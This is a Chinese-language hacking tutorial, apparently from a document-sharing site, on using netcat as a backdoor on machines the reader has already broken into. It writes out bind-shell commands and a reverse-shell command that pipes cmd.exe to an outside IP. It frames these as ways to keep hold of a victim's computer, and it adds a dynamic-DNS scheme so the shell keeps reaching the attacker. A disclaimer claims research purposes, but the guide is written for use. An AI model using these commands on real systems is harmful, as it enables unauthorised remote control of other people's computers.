利用NC来制作自己的反弹木马

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

利用NC来制作自己的反弹木马

免责申明:我也是第一次公开写这样的东西,不过写此文的目的是为了技术上的研究,把我自己的一些方法和技巧讲出来,和大家一起探讨,希望大家能提出意见.并不是教大家如何利用此方法去破坏别人的电脑!请不要用于非法目的,否则一切责任自负与我无关,呵呵~~~我可不想做黑鹰的大米呀.

一、必须掌握的基础知识;

NC这个工具对于一个黑客来说再熟悉不过了,可以说是每个黑客必备工具之一,被称做黑客的一把瑞士军刀!可见其地位之高.大家有兴趣的话自己去看一下有关NC的一些详细用法吧,我在这里就不多说了,这不是我这次要讲的主题,我只把其中我用到的一些参数介绍给大家.NC并不是一个图形界面的工具,但它有很强大的正向链接、反向链接、扫描和监听PORT等功能!

对于木马,它的种类也有很多,但最让人喜欢的还是具有反弹功能的木马,它可以让我们一劳永逸,一次种植成功以后便自动找上门来,呵呵~~~事半功倍呀!这也是我喜欢反向链接木马的一个原因。(对于正向链接我最喜欢的一个工具就是radmin,原因就是它不会被杀。)至于如何让别人中了你的木马、如何去入侵对方,然后给他种马我就不说了(这也不是我这次要说的主题)方法和手法有很多,就看你的技术了。当你成功入侵一台机子后,你想做的事当然是永远的抓住它,不要让他轻易的溜走,那就赶快上传你自己的木马吧!这是我的通常做法。这时一个优秀的木马会给我们很大帮助。

还是来说NC吧。它的使的格式是这样的,在CMD下输入:NC.EXE [参数1] [参数2] ……主机名(或IP)。

NC有很多的参数,它的功能就体现在这些参数上。这里有几个要用到的、必需掌握的参数给大家简略的介绍一下:

-l监听模式,可以监听本地的PORT即端口;

-p设置端口,后加端口号;

-v显示详细信息,

-vv显示更详细信息;

-t 以telnet交互方式来回应;

-e程序重定向,可以把目标机的CMD重定向到一个端口上,然后我们在本机进行监听,这样就可以得到目标机的SHELL了,具体看后面我讲的例子吧;

-d后台模式;主要的参数就这么多吧,我们通过下面的例子来一步一步学习吧!

二、简单的几个例子;

例如对本机TCP端口90的监听:nc.exe -l -v -p 90 127.0.0.1 意思是临听本机的TCP 端口90(如图1)。

(在这里如果是本机的话,可以省去主机名或IP,即不写127.0.0.1这时默认就是本机。还有默认情况下-p端口就指的是TCP如果要临听UDP端口,则要加-u参数!)我们来验证一下结果,看是不是真的监听我们本机的90端口,先不运行NC我们用netstat -an这个命令来查看一下本机的端口,结果(如图2)

没有发现TCP90端口被开放,我们运行nc.exe -l -v -p 90这样一个命令后,这时不要关闭这个监听窗口,再开一个CMD,然后再用nbtstat -an来查看本机所开放的端口,这时会发现TCP90端口被打开(如图3)

如果你有fport这个工具的话,你还可以进一步查看到是哪个程序打开了本机TCP90端口!(如图4)

(关于nbtstat和fport我就不做介绍了)。先来看一个正向链接的例子,当我们成功进入别人的机子并上传了NC后,可以用这样一个命令来实现正向链接,(假设目标机的IP为222.91.203.208)在目标机上运行nc 127.0.0.1 123 -e cmd.exe即把它的cmd定向到它自己的123端口上。那么我们在本机上就可以用nc -l -v 222.91.203.208 -p 123来监听它的123端口,从而得到对方的cmd。或者用这样简单的命令来把CMD定向到99端口:nc -l -p 99 -t -e cmd.exe 然后我们在本机上用telnet来链接目标机,同样可以得到对方的shell.比如目标机的IP为:192.168.199.1,那么我们用telnet 192.168.199.1 99来链接对方!(如图5).

以上就是两个正向链接的例子,其实也很简单,相信到此大家对nc应该有了一个大概的了解了吧?接下来我想重点说说它的反向链接功能。

三、反向链接的实现;

所谓反向链接,简单的说就是目标机主动来链接我们的机子,而不用我们主动去找他,这样我们就省事的多了,当目标机上线后会自动来链接我们设定的端口(这算是我个人的理解吧,我也没有一个准确的定义).我们下面一步步来解实现,一步步来解决其中出现的问题,最终实现我们的目的!

一个简单的例子,假设我们的IP为:219.144.20.42 那么在目标机上我们可以用这样的命令来实现反弹:nc -t -e cmd.exe 219.144.20.42 99(如图6).

它的意思就是,把cmd定向在219.144.20.42(我们机子)的99端口上,那么我们在本机上直接监听99端口,就可的到shell,nc -l -p 99(如图7)

(一点说明,就是以上操作应当先在本机监听,然后在目标机上执行重定向,这样才能实现反弹!).以上反弹的实现看起来很容易就能实现,但细想一下,在我们实际情况中并不是这样简单的,首先这样的反弹只是一次性的!因为对方和我们一般来说都是个人用户,都是动态的IP,重启后下次就不能用nc -t -e cmd.exe 219.144.20.42 99来和我们进行链接,因为我们的IP地址已经发生了变化!而且我们也不可能当我们的IP地址每变一次,我们就去入侵他一次,然后改变我们刚才的IP地址,这是不现实的.那么怎样来解决这一问题呢?怎样才能让它,当我们的IP 发生变化后仍然可以实现把它的shell反弹到我们的机子上来呢?

这是关键的一步,为此我也曾冥思苦想,好长时间没有想出一个解决的办法.也没有人告诉我该怎么做!不过我并没有因此而放弃,我用nc本身所带的参数并不能实现我所要的功能,于是我把思路转在了nc之外,很快我想到"域名转向"这个方法,即使用动态域名!呵呵~~我终于成功了,功夫不负有心人啊,真的是有感而发.我使用的是希网网络提供的免费动态域名,大家可以到这个网上去注册一个!注册成功后会得到一个:用户名的动态域名,然后下载客户端软件,便可实现了!(关于动态域名的一些知识以及如何申请、使用客户端我在这里就不讲了,我只能说这不是我要讲的主题,有兴趣的朋友可以自己去试一下,很简单的)。我申请的是并在本机上安装客户端软件(如图8)。

相关文档
最新文档